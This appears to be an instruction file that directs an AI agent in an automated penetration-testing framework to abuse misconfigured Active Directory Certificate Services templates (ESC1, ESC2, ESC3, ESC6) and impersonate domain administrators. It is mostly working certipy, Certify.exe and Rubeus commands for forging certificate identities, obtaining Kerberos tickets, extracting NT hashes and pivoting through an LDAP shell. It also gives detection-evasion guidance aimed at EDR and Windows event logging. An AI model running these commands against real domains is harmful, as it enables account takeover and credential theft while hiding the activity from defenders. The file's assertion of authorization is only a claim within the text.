ADCS Template Abuse (ESC1 / ESC2 / ESC3 / ESC6)

You are helping a penetration tester exploit misconfigured AD CS certificate templates to impersonate arbitrary domain principals. All testing is under explicit written authorization.

Kerberos-first authentication: Enumeration and certificate requests use Kerberos auth when possible. Post-exploitation authenticates via PKINIT (pure Kerberos) to avoid NTLM detection (Event 4776, CrowdStrike Identity Module).

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [adcs-template-abuse] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Domain user credentials (any privilege level — enrollment rights are key)
• Network access to a domain controller and CA server
• Tools: certipy (Python), optionally Certify.exe (C#), Rubeus (C#)

Kerberos-first workflow:

# Get TGT for Kerberos-based operations
cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
# or with password
cd $TMPDIR && getTGT.py DOMAIN/user:'Password' -dc-ip DC_IP

export KRB5CCNAME=$TMPDIR/user.ccache

# All Certipy commands use -k -no-pass after this
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs

Tool output directory: certipy find supports -output to control where results are written — always use -output engagement/evidence/certipy-<label>. Without it, certipy writes {timestamp}_Certipy.{json,txt} to CWD.

getTGT.py, certipy req, and certipy auth all write output files to CWD with no output-path flag. Always prefix these commands with cd $TMPDIR &&. getTGT.py does NOT support -out — CWD is the only control. When saving evidence, use mv (not cp) to avoid stray duplicates:

mv $TMPDIR/administrator.pfx engagement/evidence/administrator.pfx
mv $TMPDIR/administrator.ccache engagement/evidence/administrator.ccache

Clock Skew Interrupt

Before any Kerberos operation, check for clock skew. If you encounter KRB_AP_ERR_SKEW at any point during this skill — STOP IMMEDIATELY.

Do NOT fall back to NTLM authentication. Kerberos-first is an OPSEC requirement, not a preference. NTLM fallback generates Event 4776 and CrowdStrike Identity Module PTH signatures — the exact detections Kerberos-first exists to avoid.

When clock skew is detected:

1. Note the skew magnitude (from the error or ntpdate -q DC_IP)
2. STOP. Return to the orchestrator with this structured interrupt:

### Clock Skew Interrupt
- Error: KRB_AP_ERR_SKEW
- Skew: <magnitude in seconds/minutes>
- DC IP: <IP>
- Stage: <what step you were on when it hit>
- Attempted: <commands that failed>

The orchestrator will handle clock sync (requires sudo) and re-invoke this skill with identical parameters. Do not retry, do not work around it with NTLM, do not write your own sync script.

Step 1: Enumerate Vulnerable Templates

Run ADCS enumeration to identify vulnerable templates. If the orchestrator or ad-discovery already provided results, skip to the relevant ESC.

Certipy (Linux — preferred)

# Full enumeration with vulnerability detection
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs

# JSON output for structured analysis
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -json -output engagement/evidence/certipy-adcs

# With password (if no TGT available)
certipy find -username user@DOMAIN -password 'Pass' -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs

Certify.exe (Windows)

# Find all vulnerable templates
Certify.exe find /vulnerable

# Filter by enrollee-supplies-subject (ESC1)
Certify.exe find /enrolleeSuppliesSubject

# Filter by client-auth EKU
Certify.exe find /clientauth

# Show all permissions on all templates
Certify.exe find /showAllPermissions

NetExec (quick check)

nxc ldap DC_IP -k --use-kcache -M adcs

What to look for

ESC	Key Indicator
ESC1	ENROLLEE_SUPPLIES_SUBJECT flag + client-auth EKU + low-priv enrollment
ESC2	Any Purpose EKU (2.5.29.37.0) or no EKU + low-priv enrollment
ESC3	Template with Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1) + second template allowing on-behalf-of
ESC6	CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled

Check ESC6 flag specifically:

# On CA server (requires remote access)
certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"
# Look for EDITF_ATTRIBUTESUBJECTALTNAME2 in output

Decision tree

Vulnerable template found?
├── ENROLLEE_SUPPLIES_SUBJECT + auth EKU → ESC1 (Step 2)
├── Any Purpose or No EKU → ESC2 (Step 3)
├── Certificate Request Agent EKU → ESC3 (Step 4)
├── EDITF_ATTRIBUTESUBJECTALTNAME2 on CA → ESC6 (Step 5)
└── Template ACL writable → Escalate (ESC4)

Step 2: ESC1 — Enrollee Supplies Subject

Conditions: Template has CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set, client-auth or smart card logon EKU, enrollment rights for low-priv user, no manager approval, no authorized signatures required.

The attacker specifies an arbitrary SAN (Subject Alternative Name) in the certificate request, impersonating any domain user.

Request certificate with SAN

# Certipy — request as domain admin via UPN
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template 'VulnTemplate' -upn 'administrator@domain.local'

# Certipy — with password auth
certipy req -username user@domain.local -password 'Pass' -target-ip CA_IP \
  -ca 'DOMAIN-CA' -template 'VulnTemplate' -upn 'administrator@domain.local'

# Certify.exe — /altname for SAN
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:VulnTemplate \
  /altname:administrator@domain.local

Post-May 2022 (KB5014754): Certificates now include a security extension with the requester's SID. The SAN identity must match the requestor unless ESC9/ESC10 conditions exist. To work on patched systems, include the target SID:

# Certify with SID pinning
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:VulnTemplate \
  /altname:administrator \
  /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-500

# Certipy doesn't natively support SID in ESC1 request — use ESC9/10 chain
# or use the certificate for LDAPS auth instead of PKINIT

Authenticate with certificate

# Certipy — PKINIT auth (returns TGT + optional NT hash via UnPAC)
certipy auth -pfx administrator.pfx -dc-ip DC_IP

# Rubeus — request TGT and inject
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx \
  /password:pfx-password /ptt

# Rubeus — extract NT hash via UnPAC-the-Hash
Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx \
  /password:pfx-password /getcredentials

# If PKINIT fails (KDC_ERR_PADATA_TYPE_NOSUPP) — use LDAPS/Schannel
certipy auth -pfx administrator.pfx -dc-ip DC_IP -ldap-shell

Step 3: ESC2 — Any Purpose or No EKU

Conditions: Template has Any Purpose EKU (OID 2.5.29.37.0) or no EKU at all, enrollment rights for low-priv user, no manager approval.

• Any Purpose: Certificate valid for client auth, server auth, code signing, etc. Exploit identically to ESC1.
• No EKU: Acts as a subordinate CA — can sign new certificates with arbitrary EKUs. More powerful but subordinate CA won't work for domain auth unless listed in NTAuthCertificates (not default).

Any Purpose EKU (common case)

# Same as ESC1 — request with SAN if ENROLLEE_SUPPLIES_SUBJECT also set
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template 'AnyPurposeTemplate' -upn 'administrator@domain.local'

certipy auth -pfx administrator.pfx -dc-ip DC_IP

No EKU (subordinate CA)

# Request subordinate CA certificate
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template 'NoEKUTemplate'

# This certificate can sign other certificates but won't directly
# authenticate to the domain unless added to NTAuthCertificates.
# More useful for code signing, S/MIME, or chaining with other attacks.

Explain that Any Purpose is directly exploitable like ESC1, while No EKU requires chaining. Recommend focusing on Any Purpose templates.

Step 4: ESC3 — Enrollment Agent Abuse

Conditions: Two templates required:

1. Template with Certificate Request Agent EKU (1.3.6.1.4.1.311.20.2.1), enrollment rights for low-priv user
2. Template allowing on-behalf-of enrollment with domain-auth EKU (schema v1 or v2+ with Application Policy Issuance Requirement for Request Agent)

The attacker first obtains an enrollment agent certificate, then uses it to request certificates on behalf of any user.

Step 4a: Obtain enrollment agent certificate

# Certipy
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template 'EnrollmentAgentTemplate'

# Certify.exe
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA \
  /template:Vuln-EnrollmentAgent

Step 4b: Request on behalf of target user

# Certipy — enroll on behalf of administrator
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template 'User' -on-behalf-of 'DOMAIN\administrator' \
  -pfx 'agent.pfx'

# Certify.exe
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:User \
  /onbehalfof:DOMAIN\administrator /enrollment:agent.pfx \
  /enrollcertpwd:pfx-password

Step 4c: Authenticate as impersonated user

certipy auth -pfx administrator.pfx -dc-ip DC_IP

Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx \
  /password:pfx-password /ptt

Note: CA enrollment agent restrictions (certsrc.msc → CA Properties → Enrollment Agents tab) can limit who the agent can enroll as. Default is "Do not restrict enrollment agents" — allows everyone.

Step 5: ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2

Conditions: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled. This allows a SAN to be specified as a certificate attribute (not extension) in any request, even for templates that don't have ENROLLEE_SUPPLIES_SUBJECT.

This means standard templates like User become exploitable.

Exploit

# Certipy — request User template with arbitrary SAN
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -target CA_HOST -template User -upn administrator@domain.local

# Certify.exe
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:User \
  /altname:administrator@domain.local

# certreq.exe (Windows native — no tools needed)
certreq.exe -new request.inf -config "CA_HOST\CA_NAME" \
  -attrib "SAN:upn=administrator@domain.local"

Authenticate

certipy auth -pfx administrator.pfx -dc-ip DC_IP

Post-May 2022 patch impact

After KB5014754, the certificate's security extension contains the requester's SID, not the SAN identity's SID. ESC6 exploitation on patched systems requires ESC9/ESC10 conditions (weak certificate mapping) to succeed.

Check if patched:

• If certipy auth returns KDC_ERR_CERTIFICATE_MISMATCH, the DC enforces strong certificate binding and ESC6 alone is insufficient.
• Chain with ESC9/ESC10 if those conditions exist — route to adcs-persistence.

Step 6: Certificate Authentication Reference

All ESC variants produce a PFX/certificate. Use these methods to authenticate:

PKINIT (preferred — pure Kerberos)

# Certipy (returns TGT ccache + optional NT hash)
certipy auth -pfx target.pfx -dc-ip DC_IP -username target -domain DOMAIN

# gettgtpkinit.py (PKINITtools)
gettgtpkinit.py -cert-pfx target.pfx -pfx-pass pfx-password \
  DOMAIN/target target.ccache

# Rubeus
Rubeus.exe asktgt /user:target /certificate:target.pfx \
  /password:pfx-password /ptt

UnPAC the Hash (extract NT hash from PKINIT TGT)

# With Certipy (automatic if PKINIT succeeds)
certipy auth -pfx target.pfx -dc-ip DC_IP
# Output includes NT hash

# With getnthash.py (PKINITtools)
export KRB5CCNAME=target.ccache
getnthash.py -key 'AS-REP-encryption-key' DOMAIN/target

# With Rubeus
Rubeus.exe asktgt /user:target /certificate:target.pfx \
  /password:pfx-password /getcredentials

LDAPS/Schannel (fallback when PKINIT fails)

# When DC returns KDC_ERR_PADATA_TYPE_NOSUPP
certipy auth -pfx target.pfx -dc-ip DC_IP -ldap-shell

# From LDAP shell: can add computer, set RBCD, modify attributes
# Chain: LDAPS → RBCD → S4U2Self → service ticket

Certificate format conversion

# PEM to PFX
openssl pkcs12 -in cert.pem -keyex \
  -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
  -export -out cert.pfx

# PFX to PEM
openssl pkcs12 -in cert.pfx -out cert.pem -nodes

# Remove password from PFX
certipy cert -export -pfx cert.pfx -password 'old-pass' -out unprotected.pfx

Step 7: Escalate or Pivot

STOP and return to the orchestrator with:

• What was achieved (RCE, creds, file read, etc.)
• New credentials, access, or pivot paths discovered
• Context for next steps (platform, access method, working payloads)

Troubleshooting

CERTSRV_E_TEMPLATE_DENIED

Template ACL denies enrollment for current user. Verify enrollment rights with certipy find or Certify.exe find /showAllPermissions. Look for group-based enrollment (add yourself to the group via ACL abuse if possible).

KDC_ERR_PADATA_TYPE_NOSUPP

DC doesn't support PKINIT pre-authentication. Use LDAPS/Schannel fallback: certipy auth -pfx cert.pfx -ldap-shell. From LDAP shell, set RBCD or modify attributes for alternative escalation.

KDC_ERR_CERTIFICATE_MISMATCH

Certificate SID doesn't match target identity. System is patched (KB5014754). ESC1/ESC6 alone won't work — need ESC9/ESC10 conditions or use the certificate owner's identity instead.

KDC_ERR_CLIENT_NOT_TRUSTED

CA certificate not in NTAuthCertificates or cert chain not trusted. Verify CA is enterprise CA (not standalone). Check certutil -viewstore -enterprise NTAuth.

Certificate request pending (not issued)

Template requires manager approval. Check if you have ManageCA/ManageCertificates permissions to approve it yourself — route to adcs-access-and-relay (ESC7).

KRB_AP_ERR_SKEW (Clock Skew)

See Clock Skew Interrupt section above. STOP and return to the orchestrator. Do not retry, do not fall back to NTLM.

OPSEC comparison

ESC	OPSEC	Detection Surface
ESC1	Medium	Certificate enrollment event (4887), SAN in request visible in CA logs
ESC2	Medium	Same as ESC1. No-EKU subordinate CA is louder (4899)
ESC3	High	Two enrollment events — agent cert + on-behalf-of request
ESC6	Medium	Standard template enrollment, but SAN attribute visible in CA logs